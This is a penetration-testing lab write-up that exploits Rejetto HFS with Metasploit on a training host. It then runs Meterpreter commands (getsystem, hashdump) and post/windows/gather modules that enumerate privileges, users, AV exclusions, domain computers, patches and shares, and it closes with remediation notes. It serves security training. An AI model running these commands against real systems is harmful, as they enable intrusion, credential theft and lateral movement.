2025-11-16 / Log: windows_post_exploitation_modules

Windows Post-Exploitation Modules

Windows Post-Exploitation Modules

Classification: Host & Network Penetration Testing / The Metasploit Framework
Target: demo.ine.local (10.2.24.163) — Windows Server 2008 R2–2012, Rejetto HFS
Objective: Run various Windows post-exploitation modules against the compromised host.

1. Executive Summary

After exploiting Rejetto HFS for a Meterpreter session, we tour the Windows post-exploitation toolkit: built-in Meterpreter commands plus post/windows/* modules that enumerate privileges, logged-on users, VM status, installed applications, AV exclusions, domain computers, patches and shares — with results stored in loot.

2. Recon & Exploitation

ping -c 4 demo.ine.local
db_nmap -sV 10.2.24.163
services

Ping target

MSF global variables

Nmap scan

services — Rejetto HFS on port 80

use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.2.24.163
exploit

Meterpreter session opened

Migrating into explorer.exe for stability.

pgrep explorer
migrate <pid>

Migrating to explorer.exe

3. Built-in Meterpreter Commands

getsystem       # elevate to SYSTEM
getuid          # current user
hashdump        # dump SAM hashes

getsystem / getuid / hashdump

show_mount      # mounts / disks

show_mount

ps              # running processes

ps

sysinfo

sysinfo

pwd ; cd ; dir ; cat ; download

Navigation commands (1)

Navigation commands (2)

4. Post-Exploitation Modules

Backgrounding the session to run post modules.

Backgrounding the session

run post/windows/manage/archmigrate     # match Meterpreter arch to the OS

archmigrate

run post/windows/gather/win_privs        # current user privileges

win_privs

run post/windows/gather/enum_logged_on_users

enum_logged_on_users

run post/windows/gather/checkvm          # VM detection

checkvm

run post/windows/gather/enum_applications

enum_applications

Module output is saved in the loot directory.

loot

loot listing

run post/windows/gather/enum_av_excluded # AV exclusions

enum_av_excluded

run post/windows/gather/enum_computers   # domain computers

enum_computers

run post/windows/gather/enum_patches     # applied patches

enum_patches

If patch info isn’t available via the module, check it manually in a shell.

shell
systeminfo

systeminfo (manual patch check)

run post/windows/gather/enum_shares      # shares

enum_shares

5. Notes & Remediation

  1. Post-exploitation enumeration feeds lateral movement (AV exclusions, domain computers, shares) — defenders should monitor for mass enumeration from a single host.
  2. Protect LSASS/SAM (Credential Guard) against hashdump.
  3. Patch/replace Rejetto HFS and apply least privilege so SYSTEM isn’t trivially reached.